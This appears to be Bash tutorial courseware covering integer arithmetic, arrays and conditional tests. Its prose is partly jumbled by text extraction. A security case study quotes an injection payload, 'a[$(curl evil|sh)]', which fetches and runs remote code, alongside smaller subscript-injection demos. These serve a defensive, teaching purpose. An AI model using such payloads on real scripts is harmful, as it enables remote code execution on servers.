$(basename "$f"), with a “fork + exec” counter popping up beside it; after ten thousand loop iterations the counter jumps to 10000.# highlighting from the left one cell at a time up to the first slash; ## continuing until the last slash is consumed.- and :- results appear cell by cell.rm -rf "$DIR/"* with DIR becoming empty, the screen turns red; change it to "${DIR:?}" — the script then exits safely.$(( expr )) (produces a value, POSIX) and arithmetic command (( expr )) (produces an exit status, Bash extension), and let,declare -i; know that $[ ] and expr are obsolete.0 = octal,0x = hexadecimal,base#n = any base 2–64; use 10#$v to handle 08,09 decimal numbers with leading zeros (such as date +%m).awk/bc.(( i++ )) returns exit status 1 when i is 0 (under Lesson 4’s set -e the script will exit because of this), and doing arithmetic on untrusted input can execute commands (arithmetic injection), so first validate with [[ $v =~ ^[0-9]+$ ]] .| Syntax | Type | Result | Standard | Recommended |
|---|---|---|---|---|
$(( expr )) | Arithmetic expansion | Replaced with the value of the expression (string) | POSIX | ✓ Use when you need a value |
(( expr )) | Arithmetic command (compound command) | Non-zero value → exit status 0; zero value → exit status 1 | Bash/ksh | ✓ conditionals, increments, assignments |
let "expr" … | Builtin command | is the same as (( )), with the last expression determining the status | Bash/ksh | Usable, but (( )) doesn't need extra quotes |
declare -i v | integer attribute, | after which every later assignment to v is evaluated as arithmetic | Bash | Caution: v=abc does not error; it takes the value of variable abc instead |
$[ expr ],expr 1 + 2 | legacy syntax / external command | — | — | ✗ deprecated ($[ ] not in the current Bash manual; Bash NEWS marked it “no longer supported, use $((…))” as early as 2.0, and it is kept only for compatibility; expr is an external command) |
In $(( )) and (( )) contexts, variable names can be written without the $ $ ((( count + 1 ))); unset or empty variables are treated as 0; supports nearly all C operators: + - * / % **,++ --,+= -= *= /= %= <<= >>= &= ^= |=, comparison < <= > >= == !=, logical && || !, bitwise & | ^ ~ << >>, ternary ?:, comma ,.
$(( 3.5 + 1 )) directly reports a syntax error; $(( 1 / 3 * 100 )) gives 0 (divides first, then multiplies).08,09 is not a valid octal number, reports value too great for base; 010 silently becomes 8. Dates, times, and zero-padded numbers (0042) all hit this trap.9223372036854775807 + 1 gives -9223372036854775808 (tested).(( expr )) when its value is 0, the exit status is 1. (( i++ )) It returns the value before the increment. With i starting at 0, the first call already “fails”.a[$(cmd)] ,cmd is executed.0x/0X → hexadecimal; starts with 0 → octal; otherwise decimal.base#n: base is 2 to 64; the digits, in order, are 0-9,a-z,A-Z,@,_; when base ≤ 36, upper- and lower-case letters are equivalent.10#08 Forced decimal → 8. Note that 10# the value after # must not be empty (10#$v reports an error when v is empty invalid integer constant), and it cannot have a minus sign; for negatives, use $(( -10#${v#-} )) or validate it first.-7 / 2 = -3; the remainder's sign follows the dividend: -7 % 3 = -1 (tested). Dividing by zero reports division by 0.echo $((08)); echo same-line the second echo in it does not run).| Need | Recommended |
|---|---|
| counters, indexes, loop conditions, port numbers, exit-code comparisons | (( )) / $(( )) |
| percentages, averages (keep 1–2 decimal places) | Scale up first, then integer-divide, using printf '%d.%02d' printf output |
| real floating point, scientific computing, large-scale data aggregation | awk (Lesson 5),bc -l |
| big numbers beyond 64 bits | bc, Python |
| comparing version numbers 1.10 > 1.9 | by . splitting into arrays and comparing piece by piece, or sort -V |
[[ 10 < 9 ]] is a numeric comparison”—in [[ ]] , < is a string comparison, so it is true (tested); for numeric comparison use (( 10 < 9 )) or [[ 10 -lt 9 ]]. ② “(( count++ )) always succeeds”—when count is 0 it returns 1. ③ “let x=0 is an ordinary assignment”—its exit status is 1. ④ “declare -i can validate input”—n=abc does not error; n takes the value of variable abc (0 if unset). ⑤ “printf '%.2f' claims Bash supports floating point”—that is just the printf builtin's own formatting conversion,$(( )) it is still integers only.(( )) for tests, use $(( )) for values; for an increment that must always succeed, write (( ++i )) (when i ≥ 0) or i=$(( i + 1 ))Pick an expression and step through it: lexical analysis → constant base recognition / recursive variable evaluation → evaluation by precedence → 64-bit truncation → produce value and exit status. All results match the tested output of Bash 5.2.37.
| Syntax | Purpose | Notes |
|---|---|---|
$(( a + b )) | Evaluate and substitute | variable can be omitted $; result is a decimal string |
(( n > 10 )) | Numeric condition | Used in if / while / && |
(( count++ )),(( total += n )) | modify in place | note: exit status is 1 when the value is 0 |
$(( 10#$v )) | Force decimal | v cannot be empty or contain a minus sign |
$(( 16#ff )),$(( 2#1010 )) | any-base input | output base uses printf '%x' 255,%o |
$(( RANDOM % 6 + 1 )) | Random number | $RANDOM range 0–32767, not suitable for security use; in Bash 5.1+ the $SRANDOM is 32-bit |
printf '%d.%02d' … | fixed-point decimal output | see example below |
awk 'BEGIN{printf "%.3f", 37/41*100}' | true floating point | external process, suitable for small calculations |
echo "1: $(( 7 / 2 )) $(( -7 / 2 )) $(( 7 % 3 )) $(( -7 % 3 )) $(( 2 ** 10 ))" echo "2: $(( 010 )) $(( 0x1F )) $(( 2#1010 )) $(( 36#z )) $(( 10#010 ))" m=08; echo "3: $(( 10#$m + 1 ))" echo "4: $(( 9223372036854775807 + 1 ))" echo "5: $(( 1 / 3 * 100 )) $(( 100 * 1 / 3 ))" ok=37 total=41 printf '6: %d.%02d%%\n' $(( ok * 100 / total )) $(( ok * 10000 / total % 100 )) r=$(( (ok * 1000 + total / 2) / total )) # round to 0.1% printf '7: %d.%d%%\n' $(( r / 10 )) $(( r % 10 )) i=0; (( i++ )); echo "8: rc=$? i=$i"; (( ++i )); echo " rc=$? i=$i" (( 0 )); echo "9: (( 0 )) rc=$?" let "a = 3 * 4" "b = a + 1"; echo "10: $a $b"; let c=0; echo " let c=0 rc=$?" declare -i n; n="3 + 4"; echo "11: n=$n"; n=abc; echo " n=abc -> $n" x=5; (( x += 3, y = x * 2 )); echo "12: x=$x y=$y" echo "13: $(( x > 3 ? 1 : 0 )) $(( 5 & 3 )) $(( 5 | 3 )) $(( 1 << 4 ))" [[ 10 < 9 ]] && echo "14: [[ 10 < 9 ]] is true (string comparison)" s=" 42 "; echo "16: $(( s + 1 ))"; v=""; echo "17: [$(( v + 1 ))]"
1: 3 -3 1 -1 1024 2: 8 31 10 35 10 3: 9 4: -9223372036854775808 5: 0 33 6: 90.24% 7: 90.2% 8: rc=1 i=1 rc=0 i=2 9: (( 0 )) rc=1 10: 12 13 let c=0 rc=1 11: n=7 n=abc -> 0 12: x=8 y=16 13: 1 1 7 16 14: [[ 10 < 9 ]] is true (string comparison) 16: 43 17: [1]
How to verify: For a suspicious number, first declare -p v look at the raw value (leading zeros, spaces,\r). Common mistake: on line 6 the decimal part is written as $(( ok * 100 % total ))— that is the remainder, not a decimal. Production uses: error rates, disk-usage thresholds, retry backoff times (sleep $(( 2 ** attempt ))).
month=$(date +%m) # e.g. "08" echo $(( month + 1 )) # fails in August and September! echo $(( 10#$month + 1 )) # correct printf -v next '%02d' $(( 10#$month % 12 + 1 )); echo "$next" # or let date print the value without a leading zero (GNU date supports %-m) date +%-m
bash: 08: value too great for base (error token is "08") 9 09 8
%-m is a GNU date extension (Rust coreutils and BusyBox support varies; check their own docs); 10# the 10# form depends only on Bash and is more reliable.
while read read the first N lines.
cd ~/bashlab/part2 && mkdir -p m2 && cd m2 total=0 err=0 bytes=0 while read -r ip _ _ _ _ _ _ _ status size _; do (( total++ )) || true # returns 1 when i=0; || true is just a demo, a better form follows [[ $status == 5?? ]] && (( err += 1 )) [[ $size =~ ^[0-9]+$ ]] && (( bytes += size )) done < "$DATA/access.log" echo "total=$total err=$err bytes=$bytes"
total=611 err=28 bytes=2703396
In combined format, after splitting on whitespace, field 9 is the status code and field 10 is the byte count (the time field [17/Nov/2026:10:00:01 +0000] takes two fields, the request line "GET /x HTTP/1.1" takes three). _ is the conventional name for a discarded field. The byte count may be -, so validate it with a regex first.
pct_int=$(( err * 100 / total )) pct_frac=$(( err * 10000 / total % 100 )) avg=$(( (bytes + total / 2) / total )) # round printf '5xx ratio: %d.%02d%% average response: %d bytes\n' "$pct_int" "$pct_frac" "$avg"
5xx ratio: 4.58% average response: 4425 bytes
awk '$9 ~ /^5/ {e++} {n++; if ($10 ~ /^[0-9]+$/) b += $10} END {printf "%.2f%% %.1f\n", e*100/n, b/n}' "$DATA/access.log"
4.58% 4424.5
28 / 611 = 4.58%; average 4424.5 bytes, rounded to 4425 with integers — both methods agree.
for m in 07 08 09 10; do echo "$m → $(( 10#$m + 1 ))" done m=08; (( m + 1 )) 2>&1 | head -1 || true bash -c 'm=08; echo $(( m + 1 )); echo "this command on the same line does not run"'; echo "rc=$?"
07 → 8 08 → 9 09 → 10 10 → 11 bash: ((: 08: value too great for base (error token is "08") bash: line 1: 08: value too great for base (error token is "08") rc=1
In the second command,echo "this command on the same line does not run" indeed prints nothing: the expansion error makes Bash abandon the rest of this line's commands,bash -c and exits with status 1.
x='a[$(echo I was executed >&2)]'
(( x > 0 )); echo "rc=$?"
# Correct approach: validate first, then compute
if [[ $x =~ ^[0-9]+$ ]]; then (( x > 0 )); else echo "Rejecting non-numeric input: ${x@Q}" >&2; fi
I was executed rc=1 Rejecting non-numeric input: 'a[$(echo I was executed >&2)]'
[[ $x -gt 0 ]] The same happens when x is evaluated as arithmetic, so the command runs too (tested). Any number from a file, HTTP parameter, or CSV must be validated before it reaches (( )),$(( )),-eq/-gt and array subscripts.
cd ~/bashlab/part2 && rm -rf -- m2.Problem: The monthly report script uses prev=$(( $(date +%m) - 1 )) to compute last month. January–July and October–December work fine, but August and September report value too great for base, and since the error happens during expansion, the rest of that line's commands are skipped, and later steps keep running with empty variables. Fix:m=$(date +%m); prev=$(( 10#$m - 1 )), and handle January → December; better, let date compute it directly: date -d 'last month' +%Y-%m (GNU date). Limitation:-d is a GNU extension; macOS date uses -v-1m.
set -e script exits on the first countProblem: The script enables strict mode, and inside the loop (( processed++ )), processed starts at 0, so the first increment yields 0 → exit status 1 → set -e silently exits the entire script. Fix: write as (( ++processed )) (new value ≥ 1) or processed=$(( processed + 1 )) (an assignment's exit status is 0). Lesson 4 systematically covers set -e the rules. Limitation:(( ++x )) also returns 1 when x is -1; beyond counters, still be careful.
Problem: A CGI-style health-check script puts the request header X-Retry: … directly into (( retry < 5 )). An attacker sent X-Retry: a[$(curl evil|sh)], and the command is executed on the server. Fix: Validate all external input before it enters an arithmetic context, using [[ $v =~ ^[0-9]{1,9}$ ]] (limiting the length also prevents overflow). Limitation: This is Bash's designed behavior, not a bug; ShellCheck cannot catch it in every case.
Cause: leading 0 → octal; 8 and 9 are not octal digits. Diagnosis:declare -p variable to see the raw value. Fix:$(( 10#$v )); if the value may be empty, first v=${v:-0}; if it may have a minus sign, split off the sign first.
Cause: Bash arithmetic does not support decimals. Fix: scale up to integers (in cents, milliseconds, or per mille) or hand it to awk: awk -v a=3.5 'BEGIN{print a+1}'.
Cause: the value is 42ms,1,024 or has a \r 42\r (Windows line ending). Ordinary spaces before or after are allowed (" 42 " tested, they still compute). Fix: Sanitize: v=${v%$'\r'},v=${v//,/},v=${v%ms}, then validate with a regex.
Cause: the denominator is 0, common when computing a ratio on an empty log. Fix: first check (( total > 0 )) || { echo "no data"; exit 1; } (logstats.sh in Module 8 does exactly this).
Cause: the expression's value is 0 → exit status 1. Diagnosis:bash -x script.sh look at the last command executed. Fix:(( ++count )) or count=$(( count + 1 )).
Cause:[[ ]] in the < and > compare strings lexicographically. Fix: For numbers, use (( a > b )) or -gt; for version numbers, compare segment by segment or printf '%s\n' "$a" "$b" | sort -V | tail -1.
secs=3725 as 01:02:05.secs=3725 printf '%02d:%02d:%02d\n' $(( secs / 3600 )) $(( secs % 3600 / 60 )) $(( secs % 60 ))
for (( attempt = 0; attempt < 6; attempt++ )); do
delay=$(( 2 ** attempt )); (( delay > 30 )) && delay=30
echo "Before retry $attempt, wait ${delay}s"
donedf the usage percentage output (e.g. "85%"), alerts if it is over 80. A colleague wrote if [ "$use" \> 80 ], why does “9%” also trigger the alert? How should it be written?\> In [ ] is a lexicographic string comparison, so the first character 9 of “9%” is greater than the first character 8 of “80”. First, strip the percent sign and validate the value as an integer: use=${use%\%}; [[ $use =~ ^[0-9]+$ ]] && (( use > 80 )) && alert.
No verified dedicated videos were found for the “octal trap” and “arithmetic injection”; a storyboard is provided below.
This courseware cannot directly generate video or MP3; the storyboard and narration below can be handed to a video tool.
(( i++ )) is 0, becoming exit status 1; the set -e red light turns on.a[$(id)] enters arithmetic context, and the command in the subscript is executed.a=(x "y z"),a+=(w),a[10]=v (sparse),declare -a; read ${a[i]},${a[-1]} (4.3+), length ${#a[@]}, index list ${!a[@]}, slicing ${a[@]:off:len}; delete unset 'a[i]' and understand that “deleting does not renumber”."${a[@]}" (each element is one word),"${a[*]}" (joined into one word with the first character of IFS) versus unquoted (re-split + globbing), and use "${a[*]}" together with a local IFS to join.declare -A; use them to (( m[$k]++ )) count,m[$k]+=… group,[[ -v m[$k] ]] check for existence,${!m[@]} iterate over keys; the key order is not guaranteed, so sort it yourself when needed.set -u: since Bash 4.4 "${a[@]}" and ${#a[@]} do not error for arrays assigned as empty; but for declare -a b arrays that are declared but never assigned,${#b[@]} still report unbound (Bash 5.2.37 tested); accessing a nonexistent element ${a[5]} errors too, so get into the habit of a=() initializing arrays and using ${a[5]:-default} .#,%,/ and other operators, applied to each element). Importance:★★★★★| Indexed array (indexed) | Associative array (associative) | |
|---|---|---|
| subscript | non-negative integer (arithmetic expression), can be sparse | any non-empty string |
| Declaration | direct assignment a=(…) is enough; declare -a optional | required declare -A m (or local -A), otherwise m[key]=v the key is evaluated as an arithmetic expression (usually 0) |
| Initialization | a=(x y "z w"),a=([3]=c [10]=x) | declare -A m=([prod]=3 [dev]=1) |
| Iteration order | in ascending index order | hash order, not guaranteed to match insertion order |
| Version | Bash 2.0+; negative subscripts ${a[-1]} needs 4.3+ | Bash 4.0+ (macOS ships 3.2, which lacks it) |
| POSIX sh | none (only positional parameters, "$@" as this single “array”) | none |
Arrays cannot be exported directly to child-process environments (export a does not work for arrays); also cannot be nested (there is no “array of arrays”; use "$i,$j" to simulate two dimensions).
# ✗ string list: relies on word splitting, elements with spaces get split, and * gets globbed
files="report 2026.txt app.log"
for f in $files; do echo "<$f>"; done # <report> <2026.txt> <app.log>
# ✓ array: each element is a separate word
files=("report 2026.txt" app.log)
for f in "${files[@]}"; do echo "<$f>"; done # <report 2026.txt> <app.log>
# ✓ build command arguments dynamically (much safer than concatenating strings + eval)
args=(-sS --max-time 5)
[[ -n ${TOKEN:-} ]] && args+=(-H "Authorization: Bearer $TOKEN")
curl "${args[@]}" https://example.com/healthz
@ and * expansion rules (Bash manual, Arrays section)| Syntax | Result (files=("a b.log" "c.log")) | Use |
|---|---|---|
"${files[@]}" | 2 words: <a b.log> <c.log> | ✓ 99% of cases: iteration, passing arguments |
"${files[*]}" | 1 word: <a b.log c.log> (joined with the first character of IFS) | join: (IFS=,; echo "${files[*]}") → a b.log,c.log |
${files[@]} / ${files[*]} (unquoted) | 3 words: <a> <b.log> <c.log>, and also does globbing | ✗ almost never needed |
${#files[@]} | element count 2 | Note ${#files} is the length of element 0 |
${!files[@]} | index / key list 0 1 | iterating sparse and associative arrays |
${files[@]:1:1} | Slice c.log | take the first N, skip the header |
"${files[@]%.log}" | suffix removal on each element | bulk transformation |
$files | equivalent to ${files[0]} | ✗ common source of bugs |
this rule is exactly the same as for positional parameters: "$@" corresponds to "${a[@]}","$*" corresponds to "${a[*]}".
set -u (Bash 5.2.37 tested + verified in CHANGES)| case | Bash ≥ 4.4 | Bash 3.2 / 4.0–4.3 |
|---|---|---|
a=() after "${a[@]}",${#a[@]},"${a[*]}" | ✓ expands to empty / 0, no error | ✗ a[@]: unbound variable |
declare -a b (unassigned), after "${b[@]}" | ✓ expands to empty in a for loop (tested) | ✗ |
declare -a b after ${#b[@]} | ✗ b: unbound variable (tested in 5.2.37) | ✗ |
declare -A h=() after ${#h[@]} | ✓ 0 | — |
a nonexistent element ${a[5]},${h[missing]} | ✗ unbound variable | ✗ |
${a[5]:-none},${h[missing]:-0} | ✓ default value | ✓ |
Bash 4.4 CHANGES, verbatim: “Using ${a[@]} or ${a[*]} with an array without any assigned elements when the nounset option is enabled no longer throws an unbound variable error.” For compatibility with Bash 3.2, use the classic form: ${a[@]+"${a[@]}"}.
mapfile -t lines < file (Module 6).| Bash array | Positional parameters "$@" | space-separated string | awk array | |
|---|---|---|---|---|
| elements with spaces | ✓ | ✓ | ✗ | ✓ |
| associative keys | ✓ (-A) | ✗ | ✗ | ✓ (awk arrays are all associative) |
| POSIX sh | ✗ | ✓ (one per function) | ✓ | ✓ |
| Large-data performance | Medium | Medium | — | High |
unset 'a[1]' “the elements after it shift forward”—no, the array becomes sparse, and the slot ${a[1]} is empty; to renumber, use a=("${a[@]}"). ② “for i in $(seq 0 $((${#a[@]}-1))) can iterate over all elements”—on a sparse array you skip some or access nonexistent ones; use "${!a[@]}". ③ “associative arrays keep insertion order”—no. ④ “m[key]=v alone creates an associative array”—without declare -A , it creates an indexed array; the key is treated as an arithmetic expression (variable key unset → index 0). ⑤ “unset m[$k] is safe”—when unquoted, […] may be treated as a glob pattern; with double quotes unset "m[$k]" , in the key, $(…) is evaluated again (tested in 5.2.37, the command runs); the correct form is single quotes unset 'm[$k]'."${a[@]}" vs "${a[*]}" vs unquoted(( ++m[$k] )) (new value ≥ 1, exit status always 0); grouping uses m[$k]+="${m[$k]:+ }$item"Pick an operation sequence and step through it. Above are the array's “slots” (subscript → value); below are the arguments each expansion produces at that moment (each box is one argv element). All results match the tested output of Bash 5.2.37.
| Operation | Indexed array | Associative array |
|---|---|---|
| Declare | a=() / declare -a a=() | declare -A m=() |
| Assign | a[3]=x,a=(x y) | m[key]=v,m=([k1]=v1 [k2]=v2) |
| Append | a+=(z "w v") | m+=([k3]=v3); append value m[k]+=txt |
| Read | ${a[0]},${a[-1]} | ${m[key]},${m[$k]:-default} |
| all values | "${a[@]}"; join (IFS=,; echo "${a[*]}") | |
| all subscripts / keys | "${!a[@]}" | |
| Length | ${#a[@]}; length of an element ${#a[2]} | |
| existence check | [[ -v a[3] ]] | [[ -v m[$k] ]] (4.3+) |
| Delete element / whole array | unset 'a[3]',unset 'm[$k]' (single quotes!),unset a | |
| Slice | "${a[@]:1:2}" | meaningless (unordered) |
| Bulk transform | "${a[@]%.log}","${a[@]/#/--exclude=}","${a[@]^^}" | |
| Inspect | declare -p a (the most reliable way to debug); "${m[@]@K}" (5.1+) prints key/value pairs | |
servers=(web-01 web-02 "db 01")
echo "${#servers[@]} ${servers[0]} ${servers[-1]} ${servers[@]:1}"
servers+=(api-01); echo "${!servers[@]}"
unset 'servers[1]'; declare -p servers; echo "count=${#servers[@]}"
servers=("${servers[@]}"); declare -p servers
sparse=([3]=c [10]=x); echo "${!sparse[@]} len=${#sparse[@]}"
files=("a b.log" "c.log")
printf '<%s> ' ${files[@]}; echo
printf '<%s> ' "${files[@]}"; echo
printf '<%s> ' "${files[*]}"; echo
joined=$(IFS=,; printf '%s' "${files[*]}"); echo "$joined"
nums=(3 1 2); echo "${nums[@]/#/n}"; arr2=(x.log y.log); echo "${arr2[@]%.log}"
3 web-01 db 01 web-02 db 01 0 1 2 3 declare -a servers=([0]="web-01" [2]="db 01" [3]="api-01") count=3 declare -a servers=([0]="web-01" [1]="db 01" [2]="api-01") 3 10 len=2 <a> <b.log> <c.log> <a b.log> <c.log> <a b.log c.log> a b.log,c.log n3 n1 n2 x y
How to verify: Whenever you suspect array contents,declare -p array_name gives the exact subscripts, values and quotes. Common mistake:echo ${files[@]} looks right, but it has already been split — use printf '<%s>\n' "${files[@]}" to check boundaries. Production use: building command arguments (rsync "${opts[@]}", batch --exclude.
declare -A env_count=() env_hosts=()
while IFS=, read -r name env region ip role; do
[[ $name == name ]] && continue # skip the header
(( ++env_count[$env] ))
env_hosts[$env]+="${env_hosts[$env]:+ }$name" # if there is a value, add a space first
done < "$DATA/servers.csv"
for e in "${!env_count[@]}"; do printf '%-8s %d %s\n' "$e" "${env_count[$e]}" "${env_hosts[$e]}"; done
[[ -v env_count[prod] ]] && echo "has prod"; [[ -v env_count[qa] ]] || echo "no qa"
echo "qa=${env_count[qa]:-0}"
mapfile -t keys < <(printf '%s\n' "${!env_count[@]}" | sort); echo "sorted: ${keys[*]}"
prod 6 web-01 web-02 api-01 edge-01 db-01 bastion-01 dev 3 web-01 api-01 db-01 staging 3 web-01 api-01 db-01 has prod no qa qa=0 sorted: dev prod staging
The key output order (prod, dev, staging) is determined by hashing and may differ with another version or data; always sort when you need stable output. Sorting uses Module 6's mapfile sort and Module 7's process substitution.
( set -u; a=(); echo "len=${#a[@]}"; for x in "${a[@]}"; do :; done; echo "loop ok" )
( set -u; declare -a b; echo "${#b[@]}" )
( set -u; arr=(x); echo "${arr[5]}" )
( set -u; arr=(x); echo "${arr[5]:-none}" )
len=0 loop ok bash: b: unbound variable bash: arr[5]: unbound variable none
while IFS=, read -r name env region ip role; do
[[ $name == edge-01 ]] && declare -p role
done < "$DATA/servers.csv"
while IFS=, read -r -a f; do
[[ ${f[0]} == edge-01 ]] && echo "field count=${#f[@]}"
done < "$DATA/servers.csv"
declare -- role="\"web,api\"" field count=6
When reading into 5 variables,the last variable receives all remaining content (including commas and quotes), so role looks roughly right; using -a an array exposes the 6 fields. IFS=, Not understanding CSV quoting rules — for real CSV, use mlr/csvkit/Python, or in Lesson 6 use jq to process the same content in inventory.json.
ssh_opts=(-o ConnectTimeout=5 -o BatchMode=yes)
[[ -n ${SSH_USER:-} ]] && ssh_opts+=(-l "$SSH_USER")
declare -a prod_ips=()
while IFS=, read -r name env region ip role; do
[[ $env == prod ]] && prod_ips+=("$ip")
done < "$DATA/servers.csv"
for ip in "${prod_ips[@]}"; do printf '%q ' ssh "${ssh_opts[@]}" "$ip" uptime; echo; done
ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.1.41 uptime ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.1.42 uptime ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.1.43 uptime ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.2.51 uptime ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.1.44 uptime ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.2.10 uptime
edge-01 (10.30.2.51): although its role field is parsed incorrectly, env and ip come before the quotes, so they are still correct here. CSV split errors often affect only some fields, which makes them harder to spot.
declare -A regions=() prod_regions=()
while IFS=, read -r name env region ip role; do
[[ $name == name ]] && continue
regions[$region]=1
[[ $env == prod ]] && prod_regions[$region]=1
done < "$DATA/servers.csv"
echo "All regions: ${!regions[*]}"
for r in "${!regions[@]}"; do [[ -v prod_regions[$r] ]] || echo "Regions without prod: $r"; done
echo "Region count: ${#regions[@]}"
All regions: canadacentral ca-central-1 Region count: 2
Both regions have prod hosts, so the second line produces no output.
/bin/bash (3.2), the first line will report a[@]: unbound variable.Problem: The backup script EXCLUDES="--exclude=*.tmp --exclude=Cache Data", then rsync -a $EXCLUDES src/ dst/. “Cache Data” was split into two arguments; the second became the source path to sync. Fix:excludes=(--exclude='*.tmp' --exclude='Cache Data'),rsync -a "${excludes[@]}" src/ dst/; or read from a file mapfile -t pats < excludes.txt; rsync -a "${pats[@]/#/--exclude=}" …. Limitation: arrays cannot be exported; when passing across scripts, use a file or multiple arguments instead.
Problem: In CI, the Linux runner works fine, but the macOS runner reports declare: -A: invalid option. The cause is that the script uses #!/bin/bash, but macOS's /bin/bash is 3.2. Fix: Change the shebang to #!/usr/bin/env bash, and on the runner brew install bash; at the top of the script, check (( BASH_VERSINFO[0] >= 4 )) || { echo "Requires Bash ≥ 4"; exit 3; } (exit code 3 matches opsctl's “missing dependency” convention). Limitation: For the Bash version preinstalled on GitHub-hosted macOS runner images, check the runner-images documentation.
Problem: The deployment script set -u, with optional arguments stored in the array extra=() ,helm upgrade … "${extra[@]}" on CentOS 7 (Bash 4.2) it reports extra[@]: unbound variable, but it is fine on Ubuntu. Fix: upgrade to Bash ≥ 4.4; if you must support old versions, write ${extra[@]+"${extra[@]}"}. Limitation: this compatibility form is hard to read, so add a comment explaining why.
Cause: Bash 3.2 (macOS) does not support associative arrays. Diagnosis:echo "$BASH_VERSION". Fix: use Bash ≥ 4 and change the shebang.
Cause: forgot declare -A, so m[prod]=1 the array is treated as an indexed array,prod and the key is evaluated as an arithmetic expression with value 0 (variable prod is unset). Diagnosis:declare -p m shows declare -a. Fix: Before first use, declare -A m=(); inside a function, use local -A.
Cause: Bash < 4.4. Fix: upgrade, or use ${a[@]+"${a[@]}"}. In Bash ≥ 4.4, if it still reports a: unbound variable, check whether you only declare -a a but not a=().
Cause: the associative array key is an empty string (m[""]=1 or m[$k] where k is empty), or an indexed array subscript is negative and out of range. Fix: check before use [[ -n $k ]]; skip blank lines when reading files.
Cause: written as for f in ${files[@]} or "${files[*]}". Fix:for f in "${files[@]}". ShellCheck reports SC2068 (Double quote array expansions).
Cause: the array is sparse (elements were previously unset). Fix:for i in "${!a[@]}" iterate over the real subscripts, or first a=("${a[@]}") compact it.
hosts=(web-01 web-02 db-01) with commas into a string stored in variable csv, without changing the current shell's IFS.csv=$(IFS=,; printf '%s' "${hosts[*]}")
# or inside a function: local IFS=,; csv="${hosts[*]}"
# or printf -v (no subshell):
printf -v csv '%s,' "${hosts[@]}"; csv=${csv%,}words=(a b a c b a) , and print them from most to least frequent.declare -A cnt=()
for w in "${words[@]}"; do (( ++cnt[$w] )); done
for w in "${!cnt[@]}"; do printf '%d %s\n' "${cnt[$w]}" "$w"; done | sort -rnrm -- ${to_delete[@]}. One day a file named * important.txt appears; what happens?An unquoted array expansion is first split on spaces into * and important.txt, then * undergoes pathname expansion to match the current directory's all files— all get deleted. You must write rm -- "${to_delete[@]}"; and in the collection stage, quote with "$f" quotes, and use -- to stop filenames beginning with a dash from being read as options.
This courseware cannot directly generate video or MP3; the storyboard and narration below can be handed to a video tool.
[ is an ordinary command; it sees the arguments after expansion and word splitting; [[ is a shell keyword; it sees the raw structure you wrote — this single difference explains most “conditionals failing mysteriously”if tests the command's exit status: if grep -q …,if (( n > 3 )),if [[ … ]] are essentially the same; understand the difference in &&/|| short-circuit if behavior.test/[ (builtin + POSIX; arguments are split and globbed, so they must be quoted) from [[ ]] (keyword; no splitting or globbing; supports && || ( ), pattern matching ==, regex =~).-z -n == != < >), numeric tests (-eq -ne -lt -le -gt -ge or (( ))), file tests (-e -f -d -r -w -x -s -L -nt -ot) and variable tests -v.=~ and BASH_REMATCH to extract fields (put the regex in a variable, leave it unquoted on the right); use case for multi-branch pattern matching, and understand ;;,;& (continue into the next branch),;;& (keep testing later patterns).if LIST; then …; fi Run LIST; if the last command exits with status 0, take the then branch. So all of the following are valid conditions:
if grep -q ' 500 ' "$DATA/access.log"; then echo "found 500"; fi # external command if (( errors > 10 )); then echo "too many errors"; fi # arithmetic command if [[ $env == prod ]]; then echo "production"; fi # conditional-expression keyword if [ -f "$cfg" ]; then echo "config exists"; fi # test builtin if ! mkdir -- "$lockdir" 2>/dev/null; then echo "already locked"; fi # negation [[ -d $out ]] || mkdir -p -- "$out" # short-circuit form
test expr / [ expr ] | [[ expr ]] | (( expr )) | |
|---|---|---|---|
| Essence | Builtin command (also has an external /usr/bin/[) | Shell keyword (syntax construct) | Arithmetic command |
| Argument handling | Ordinary command: variables are subject to word splitting and globbing | no splitting or globbing (expansion still happens) | Arithmetic evaluation |
| Logical combination | [ a ] && [ b ] (-a/-o deprecated by POSIX) | && || ! ( ) | && || ! |
| Pattern / regex | ✗ | == glob,=~ ERE | ✗ |
< > | needs escaping \<, otherwise it is a redirection | string lexicographic comparison | numeric comparison |
| Portability | POSIX sh, dash, BusyBox | Bash, ksh, zsh | Bash, ksh, zsh |
| Recommended: | use #!/bin/sh in scripts | ✓ string and file tests in Bash scripts (Google Shell Style Guide also recommends [[ ]]) | ✓ numeric tests |
[ is error-prone[ is a command,] but its closing ] is just the last argument it requires. Before the command runs, its arguments have already been through expansion, word splitting, and globbing. So:
x=""; [ $x = y ] → the actual arguments become [ = y ] → [: =: unary operator expected (tested: exit status 2).x=""; [ -n $x ] → the arguments are [ -n ] → only one argument “-n”, which is a non-empty string → is true (tested). This is the sneakiest bug: when the variable is empty, the “non-empty” test still succeeds.f="my file.txt"; [ -f $f ] → [ -f my file.txt ] → [: my: binary operator expected (tested).[[ ]] Knowing at parse time that $x is an operand, the three cases above all work as expected; but on the right side of == and =~ operands, the unquoted parts are still treated as patterns.[[ ]] patterns and regex| Syntax | Meaning | Tested |
|---|---|---|
[[ $name == *.log ]] | unquoted on the right → glob pattern | app.log matches |
[[ $name == "$pat" ]] | quoted on the right → literal comparison | pat='*.log' when app.log not equal |
[[ $s =~ $re ]] | POSIX extended regex (ERE), matches a substring (add ^ and $ for whole-string matching ^…$) | On success, BASH_REMATCH[0] is the whole match,[1]… is the capture group |
[[ $s =~ "a.c" ]] | Parts inside quotes match literally (the . is not any character) | abc does not match,a.c matches |
shopt -s nocasematch | ==,=~,case case-insensitive | After use, remember to shopt -u |
Recommended: store the regex in a variable: re='^([0-9]+)\.([0-9]+)$'; [[ $v =~ $re ]]— avoids spaces, parentheses,\ and conflicts with shell syntax, and also avoids differences between Bash versions in how quotes are handled (since Bash 3.2, quoted content is literal). From Bash 5.3, regex compile failures print an error message (NEWS 5.3 g).
casecase $word in pattern1|pattern2) commands ;; # ;; ends the case after matching pattern3) commands ;& # ;& runs the next branch's commands without testing its pattern (4.0+) pattern4) commands ;;& # ;;& keeps testing later patterns (4.0+) *) default ;; esac
case patterns, like [[ == ]] are globs (including extglob), tested in order; the first matching branch runs. It is a POSIX standard construct (;&,;;& except for ;& and ;;&), works in sh as well, and is the clearest way to “match several string patterns”.
